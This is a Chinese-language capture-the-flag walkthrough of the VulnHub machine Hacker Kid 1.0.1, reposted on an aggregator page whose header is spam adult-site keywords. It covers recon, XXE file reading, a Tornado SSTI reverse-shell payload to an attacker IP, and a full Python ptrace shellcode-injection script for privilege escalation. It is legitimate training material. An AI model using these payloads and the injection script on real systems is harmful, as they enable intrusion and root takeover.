日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【HACKER KID: 1.0.1靶机】

發布時間:2024/1/1 编程问答 35 豆豆
生活随笔 收集整理的這篇文章主要介紹了 【HACKER KID: 1.0.1靶机】 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

信息搜集

開啟靶機。


使用nmap掃描,發現存活靶機,192.168.85.145,靶機開放端口為53,80,9999。
進一步搜集下對應段開啟的服務。


發現,9999端口開啟的是tornado服務。
先打開web網站,看下。

好像再提示挖掘?還是使用dig工具?先放下,繼續搜集信息。


#app.html頁面源碼,發現存在提示,給了一個參數。這個參數應該是頁面數,先嘗試下。


發現page_no=21時,返回數據不同。

提示我們這個網站還綁定了一個域名,先添加到/etc/hosts文本中。

網站首頁不是提示我們dig嗎,嘗試下,是不是該地址還存在一些未發現的東西?比如其它子域名?

結合一開始信息搜集到的53端口,瞬間思路清晰了。


發現確實還存在一個子域,hackerkid.blackhat.local。先將域名添加到/etc/hosts文件上。

發現存在一個創建賬號的頁面,先嘗試提交下信息。

發現,是xml格式進行的信息交互。盲猜可能存在xxe漏洞。

發現確實存在xxe漏洞。

發現saket用戶權限除root外最高,查看下saket用戶目錄中是否存在.ssh,.bashrc文件。

發現saket用戶目錄下確實存在.bashrc文件。


發現登錄用戶和密碼。但現在存在的問題是這是什么地方的賬號密碼?
目前還有兩個端口未使用,53端口以及9999端口,但53端口是bind服務,也就是dns解析服務。也就是說只剩下9999端口,并且發現tornado服務,此處9999端口對應的也應該是一個web服務。

打開后發現,此處正好有一個登陸頁面,想到剛才搜集到的用戶名和密碼,嘗試下。
admin:Saket!#$%@!!

登陸失敗。。。。。難受。。。。
但想到密碼應該是正確的,那么就是用戶名出現問題了,想到剛才看到的/etc/hosts文件中的用戶信息saket,本來賬號密碼就是在saket用戶下發現,那么此處的登錄名是否就是saket,那就先嘗試下。

成功登錄進去,并且發現提示,告訴網站name,那么是否是get型或post型傳參。

經過測試,此處使用的name傳參是get型,那么下一步怎么做呢?
此時想到這個網站使用的是tornado服務,那么是否存在服務型漏洞?

在先知社區中進行搜索tornado服務,發現該服務存在ssti漏洞。


使用ssti漏洞exp進行測試,出現報錯,發現該服務使用的python3。

經過測試,可以使用bash指令反彈會話.

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.85.128/4444 0>&1"')}}


nc成功接收到會話。

提權


使用linpeas.sh跑一下


找到提權腳本。

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script. # GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c import ctypes import sys import struct# Macros defined in <sys/ptrace.h> # https://code.woboq.org/qt5/include/sys/ptrace.h.htmlPTRACE_POKETEXT = 4 PTRACE_GETREGS = 12 PTRACE_SETREGS = 13 PTRACE_ATTACH = 16 PTRACE_DETACH = 17# Structure defined in <sys/user.h> # https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_structclass user_regs_struct(ctypes.Structure):_fields_ = [("r15", ctypes.c_ulonglong),("r14", ctypes.c_ulonglong),("r13", ctypes.c_ulonglong),("r12", ctypes.c_ulonglong),("rbp", ctypes.c_ulonglong),("rbx", ctypes.c_ulonglong),("r11", ctypes.c_ulonglong),("r10", ctypes.c_ulonglong),("r9", ctypes.c_ulonglong),("r8", ctypes.c_ulonglong),("rax", ctypes.c_ulonglong),("rcx", ctypes.c_ulonglong),("rdx", ctypes.c_ulonglong),("rsi", ctypes.c_ulonglong),("rdi", ctypes.c_ulonglong),("orig_rax", ctypes.c_ulonglong),("rip", ctypes.c_ulonglong),("cs", ctypes.c_ulonglong),("eflags", ctypes.c_ulonglong),("rsp", ctypes.c_ulonglong),("ss", ctypes.c_ulonglong),("fs_base", ctypes.c_ulonglong),("gs_base", ctypes.c_ulonglong),("ds", ctypes.c_ulonglong),("es", ctypes.c_ulonglong),("fs", ctypes.c_ulonglong),("gs", ctypes.c_ulonglong),]libc = ctypes.CDLL("libc.so.6")pid=int(sys.argv[1])# Define argument type and respone type. libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p] libc.ptrace.restype = ctypes.c_uint64# Attach to the process libc.ptrace(PTRACE_ATTACH, pid, None, None) registers=user_regs_struct()# Retrieve the value stored in registers libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))print("Instruction Pointer: " + hex(registers.rip))print("Injecting Shellcode at: " + hex(registers.rip))# Shell code copied from exploit db. shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"# Inject the shellcode into the running process byte by byte. for i in xrange(0,len(shellcode),4):# Convert the byte to little endian.shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')shellcode_byte=int(shellcode_byte_little_endian,16)# Inject the byte.libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)print("Shellcode Injected!!")# Modify the instuction pointer registers.rip=registers.rip+2# Set the registers libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))print("Final Instruction Pointer: " + hex(registers.rip))# Detach from the process. libc.ptrace(PTRACE_DETACH, pid, None, None)

上傳到靶機上。
使用ps -aux | grep root
獲取到root用戶權限執行的進程。
使用python2 shellcode.py root進程號。
netstat -anltp | grep 5600
獲取是否成功注入進程。


下一步使用nc直接連接到靶機5600端口即可。


成功建立連接。

ok,游戲結束。

參考鏈接

python Capabilities cap_sys_ptrace+ep提權:http://t.zoukankan.com/zlgxzswjy-p-15185591.html.
linpeas.sh:https://github.com/carlospolop/PEASS-ng/releases/tag/20220522.
ssti模板注入:https://book.hacktricks.xyz/pentesting-web/ssti-server-side-template-injection#tornado-python.
dig詳細使用教程:https://blog.csdn.net/smli_ng/article/details/105921859.
vulnhub之Hacker_Kid-v1.0.1:https://blog.csdn.net/qwweggfe/article/details/119861584.
HACKER KID: 1.0.1下載地址:https://www.vulnhub.com/entry/hacker-kid-101,719/.

總結

以上是生活随笔為你收集整理的【HACKER KID: 1.0.1靶机】的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。